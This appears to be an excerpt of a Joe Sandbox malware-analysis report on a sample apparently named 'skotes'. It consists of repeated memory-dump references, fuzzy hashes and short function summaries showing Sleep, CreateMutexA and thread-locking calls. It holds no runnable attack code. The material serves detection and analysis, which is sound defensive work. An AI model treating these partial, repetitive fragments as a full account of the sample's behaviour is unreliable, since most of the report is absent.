Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 07d56bef2e0f4b7f33727a39fecbdc3d248d1a551e3da3b99a6749b5cc22d797
Instruction ID: c0cda048a2a1bec929f4813e92977ab591c326dc5d43ee5c0e0236bcb1478509
Opcode Fuzzy Hash: 07d56bef2e0f4b7f33727a39fecbdc3d248d1a551e3da3b99a6749b5cc22d797
Instruction Fuzzy Hash: 44317B31A041008BEB18EB78DCC9B6DB7E2EFC6714F24C299E0289B3D1D7759981D752

Function 00B7A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e11d82259e58560f8f1668bc4b4b7f9e9dd9917e35b961d81ef68c7ebd137dd5
Instruction ID: 9b3a919f4b0be8b27435a8c1038f83ad05d8b039fac15dbe8c1832232136e8fa
Opcode Fuzzy Hash: e11d82259e58560f8f1668bc4b4b7f9e9dd9917e35b961d81ef68c7ebd137dd5
Instruction Fuzzy Hash: 893148316042048BEB58DB78DCC9B6DBBE2DBC6310F24C299E0389B2D1D7759981D792

Function 00B79ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a4f1c11e51a4bb011b88931df79dbe1f142530ab731d5f2555da47d3e644c531
Instruction ID: 02d3854dd880697b8cebda1ab2fbd651271f493165d08b9aa2e17b5909a111de
Opcode Fuzzy Hash: a4f1c11e51a4bb011b88931df79dbe1f142530ab731d5f2555da47d3e644c531
Instruction Fuzzy Hash: 41216E327042009BEB189B68ECC572CF7E2EBC1310F208299E42CC73E1DBB59991C752

Function 00B7A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7c1d5e934f461a51ddf00c01458da38df28fcfdf67993fd23ab0404d49e52ced
Instruction ID: 8aa34f856da9cec8f299158d7a354e1353f2a895a4381745cb1dad0997e859aa
Opcode Fuzzy Hash: 7c1d5e934f461a51ddf00c01458da38df28fcfdf67993fd23ab0404d49e52ced
Instruction Fuzzy Hash: C7217B7124D201CBE72467789C96B3DB3D2DFC1300F24C4E6E16C962D1CB7588819293

Function 00B7A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: aaa32be6466baf8614fd8a295d8a8ad99ab7ebb604a7960f143a2130d2d813ad
Instruction ID: 1c27aa454e7da31be113d2e8ef0efe74b0b47e60db15d8e4822b2d5bd19fa5b4
Opcode Fuzzy Hash: aaa32be6466baf8614fd8a295d8a8ad99ab7ebb604a7960f143a2130d2d813ad
Instruction Fuzzy Hash: 74214C326042009BEB18AF68EC8576CF7E2DBD1310F248299E428977D1D775A980C792

Non-executed Functions

Function 00B72EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B72F5F
GetCurrentThreadId.KERNEL32 ref: 00B72F7E
__Mtx_unlock.LIBCPMT ref: 00B72FCC
__Cnd_broadcast.LIBCPMT ref: 00B72FE3
__Mtx_unlock.LIBCPMT ref: 00B730F5
GetCurrentThreadId.KERNEL32 ref: 00B73132
__Mtx_unlock.LIBCPMT ref: 00B7319B

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
